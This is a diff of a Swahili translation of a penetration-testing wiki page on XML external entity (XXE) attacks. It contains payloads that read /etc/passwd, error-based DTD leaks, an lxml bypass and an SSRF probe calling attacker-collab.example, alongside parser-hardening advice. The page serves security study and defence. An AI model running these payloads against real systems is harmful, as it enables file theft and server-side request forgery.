%2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) kubadilisha kuwa UTF-7.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -456,7 +456,7 @@ Mfano wa DTD:
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### Remote code execution
### Utekelezaji wa msimbo wa mbali
**Ikiwa moduli ya PHP "expect" imepakuliwa**
```xml
@ -476,7 +476,7 @@ Mfano wa DTD:
Mfano huu umehamasishwa na [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Localization Interchange File Format) inatumika kuimarisha ubadilishanaji wa data katika mchakato wa uhamasishaji. Ni muundo wa XML unaotumika hasa kwa ajili ya kuhamasisha data inayoweza kubadilishwa kati ya zana wakati wa uhamasishaji na kama muundo wa kawaida wa kubadilishana kwa zana za CAT (Computer-Aided Translation).
XLIFF (XML Localization Interchange File Format) inatumika kuandaa ubadilishanaji wa data katika mchakato wa uhamasishaji. Ni muundo wa XML unaotumika hasa kwa ajili ya kuhamasisha data inayoweza kubadilishwa kati ya zana wakati wa uhamasishaji na kama muundo wa kawaida wa ubadilishanaji kwa zana za CAT (Computer-Aided Translation).
### Blind Request Analysis
@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Hata hiyo, ombi hili linachochea kosa la ndani la seva, hasa likitaja tatizo na matamko ya alama:
Hata hivyo, ombi hili linachochea kosa la ndani la seva, hasa likitaja tatizo na matamko ya alama:
```json
{
"status": 500,
@ -514,16 +514,16 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Mbinu hii inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotajwa na toleo hili la Java ni kutoweza kupata faili zinazojumuisha tabo mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.
Mbinu hii inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotajwa na toleo hili la Java ni kutoweza kupata faili zinazojumuisha herufi mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.
Uhamasishaji wa Takwimu kwa Msingi wa Hitilafu Ili kushinda kikwazo hiki, mbinu ya Msingi wa Hitilafu inatumika. Faili ya DTD imeundwa kama ifuatavyo ili kuanzisha hitilafu inayojumuisha data kutoka kwa faili lengwa:
Uhamishaji wa Data kwa Msingi wa Hitilafu Ili kushinda kikwazo hiki, mbinu ya Msingi wa Hitilafu inatumika. Faili ya DTD imeundwa kama ifuatavyo ili kuanzisha hitilafu inayojumuisha data kutoka kwa faili lengwa:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
Server inajibu kwa kosa, kwa umuhimu ikionyesha faili isiyopo, ikionyesha kwamba server inajaribu kufikia faili iliyoainishwa:
Server inajibu kwa kosa, muhimu kuonyesha faili isiyopo, ikionyesha kwamba server inajaribu kufikia faili iliyoainishwa:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -542,7 +542,7 @@ XML halali yenye muundo wa RSS ili kutumia udhaifu wa XXE.
### Ping back
Ombi rahisi la HTTP kwa seva ya washambuliaji
Omba rahisi la HTTP kwa seva ya washambuliaji.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -609,7 +609,7 @@ Kutumia kichujio cha PHP base64
```
## Java XMLDecoder XEE to RCE
XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mbaya anaweza kufanya programu itumie data isiyo na mpangilio katika wito wa njia **readObject**, atapata mara moja utekelezaji wa msimbo kwenye seva.
XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mbaya anaweza kufanya programu itumie data zisizo na mpangilio katika wito wa njia **readObject**, atapata mara moja utekelezaji wa msimbo kwenye seva.
### Using Runtime().exec()
```xml
@ -712,10 +712,10 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
> Ikiwa parser inalamika kuhusu wahusika `%`/`&` ndani ya sehemu ya ndani, waweke kwa njia mbili (`&#x26;#x25;``%`) ili kuchelewesha upanuzi.
#### 2. Kupita kwenye lxml 5.4.0 kuimarishwa (libxml2 bado ina udhaifu)
`lxml` ≥ 5.4.0 inakataza *makosa* ya vigezo kama ile iliyotajwa hapo juu, lakini **libxml2** bado inaruhusu kuingizwa katika *kigezo* cha *jumla*. Njia ni:
`lxml` ≥ 5.4.0 inakataza *makosa* ya vigezo kama ile iliyotajwa hapo juu, lakini **libxml2** bado inaruhusu kuingizwa katika *kigezo* cha **jumla**. Njia ni:
1. Soma faili ndani ya kigezo `%file`.
2. Tangaza kigezo kingine ambacho kinajenga kigezo **jumla** `c` ambacho kitambulisho cha SYSTEM kinatumia *protokali isiyo na uwepo* kama `meow://%file;`.
3. Weka `&c;` katika mwili wa XML. Wakati parser inajaribu kutafsiri `meow://…` inashindwa na inarejelea URI kamili ikiwa ni pamoja na maudhui ya faili katika ujumbe wa kosa.
2. Tangaza kigezo kingine ambacho kinajenga kigezo **jumla** `c` ambacho kitambulisho chake cha SYSTEM kinatumia *protokali isiyo na uwepo* kama `meow://%file;`.
3. Weka `&c;` katika mwili wa XML. Wakati parser inajaribu kutafsiri `meow://…` inashindwa na kuonyesha URI kamili ikiwa ni pamoja na maudhui ya faili katika ujumbe wa kosa.
```xml
<!DOCTYPE colors [
<!ENTITY % a '
@ -728,17 +728,17 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
```
#### Key takeaways
* **Parameter entities** bado zinapanuliwa na libxml2 hata wakati `resolve_entities` inapaswa kuzuia XXE.
* **URI isiyo sahihi** au **faili isiyopo** inatosha kuunganisha data iliyodhibitiwa katika kosa lililotupwa.
* **URI isiyo sahihi** au **faili isiyopo** inatosha kuunganisha data iliyodhibitiwa katika ubaguzi uliofanywa.
* Mbinu hii inafanya kazi **bila muunganisho wa nje**, na kuifanya kuwa bora kwa mazingira yaliyofungwa kwa uhamisho.
#### Mitigation guidance
* Pandisha hadi **lxml ≥ 5.4.0** na hakikisha **libxml2** ya msingi ni **≥ 2.13.8**.
* Zima `load_dtd` na/au `resolve_entities` isipokuwa inahitajika kabisa.
* Epuka kurudisha makosa ya parser yasiyo na mabadiliko kwa mteja.
* Epuka kurudisha makosa ya parser yasiyo na kuchakatwa kwa mteja.
### Java DocumentBuilderFactory hardening example
Programu za Java mara nyingi hupitia XML kwa kutumia `DocumentBuilderFactory`. Kwa kawaida kiwanda **kinaruhusu ufumbuzi wa vitu vya nje**, na kuifanya kuwa hatarini kwa XXE na SSRF ikiwa hakuna bendera za ziada za kuimarisha zilizowekwa:
Programu za Java mara nyingi huchambua XML kwa kutumia `DocumentBuilderFactory`. Kwa kawaida kiwanda **kinaruhusu ufumbuzi wa vitu vya nje**, na kuifanya kuwa hatarini kwa XXE na SSRF ikiwa hakuna bendera za ziada za kuimarisha zilizowekwa:
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
@ -763,9 +763,35 @@ dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
```
Ikiwa programu inapaswa kusaidia DTDs ndani, weka `disallow-doctype-decl` ikiwa imezimwa lakini **daima** acha vipengele viwili `external-*-entities` vikiwa vimewekwa kwenye `false`. Mchanganyiko huu unazuia payloads za kawaida za ufichuzi wa faili (`file:///etc/passwd`) pamoja na vectors za SSRF zinazotegemea mtandao (`http://169.254.169.254/…`, protokali ya `jar:`, nk.).
Ikiwa programu inapaswa kusaidia DTDs ndani, weka `disallow-doctype-decl` ikiwa imezimwa lakini **daima** acha vipengele viwili vya `external-*-entities` vikiwa vimewekwa kwenye `false`. Mchanganyiko huu unazuia payloads za kawaida za kufichua faili (`file:///etc/passwd`) pamoja na mwelekeo wa SSRF wa mtandao (`http://169.254.169.254/…`, itifaki ya `jar:`, n.k.).
Utafiti wa kesi halisi: **CVE-2025-27136** katika emulators ya Java S3 *LocalS3* ilitumia mjenzi dhaifu ulioonyeshwa hapo juu. Mshambuliaji asiye na uthibitisho angeweza kutoa mwili wa XML ulioandaliwa kwa ajili ya kiunganishi cha `CreateBucketConfiguration` na kufanya seva kuingiza faili za ndani (kwa mfano `/etc/passwd`) katika jibu la HTTP.
Utafiti wa kesi halisi: **CVE-2025-27136** katika emulator ya Java S3 *LocalS3* ilitumia mjenzi dhaifu ulioonyeshwa hapo juu. Mshambuliaji asiye na uthibitisho angeweza kutoa mwili wa XML ulioandaliwa kwa ajili ya kiunganishi cha `CreateBucketConfiguration` na kufanya seva kuingiza faili za ndani (kwa mfano `/etc/passwd`) katika jibu la HTTP.
### XXE katika JMF/Print Orchestration Services → SSRF
Baadhi ya majukwaa ya mtiririko wa uchapishaji/orchestration yanaonyesha msikilizaji wa Job Messaging Format (JMF) unaokabiliwa na mtandao ambao unakubali XML kupitia TCP. Ikiwa parser ya msingi inakubali `DOCTYPE` na kutatua vitu vya nje, unaweza kutumia XXE ya kawaida kulazimisha seva kufanya maombi ya nje (SSRF) au kufikia rasilimali za ndani.
Mambo muhimu yaliyoonekana katika mazingira halisi:
- Msikilizaji wa mtandao (mfano, mteja wa JMF) kwenye bandari maalum (kawaida 4004 katika Xerox FreeFlow Core).
- Uchanganuzi wa XML unaotegemea Java ndani ya jar (mfano, `jmfclient.jar`) bila `disallow-doctype-decl` au kutatua vitu vya nje kuzimwa.
- Mito ya nje ya bendi inathibitisha kwa uhakika unyakuzi.
Kichunguzi kidogo cha JMF-style SSRF (muundo hutofautiana kwa bidhaa lakini DOCTYPE ndiyo muhimu):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>
```
Notes:
- Badilisha URL ya chombo na mshirikiano wako. Ikiwa SSRF inawezekana, seva itatatua wakati wa kuchambua ujumbe.
- Ulinzi wa kuangalia: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
- Hata wakati bandari ya JMF haitoi faili, SSRF inaweza kuunganishwa kwa ajili ya utafiti wa ndani au kufikia APIs za usimamizi zilizofungwa kwa localhost.
References for this vector are listed at the end of the page.
## References
@ -782,5 +808,8 @@ Utafiti wa kesi halisi: **CVE-2025-27136** katika emulators ya Java S3 *LocalS3*
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#include ../banners/hacktricks-training.md}}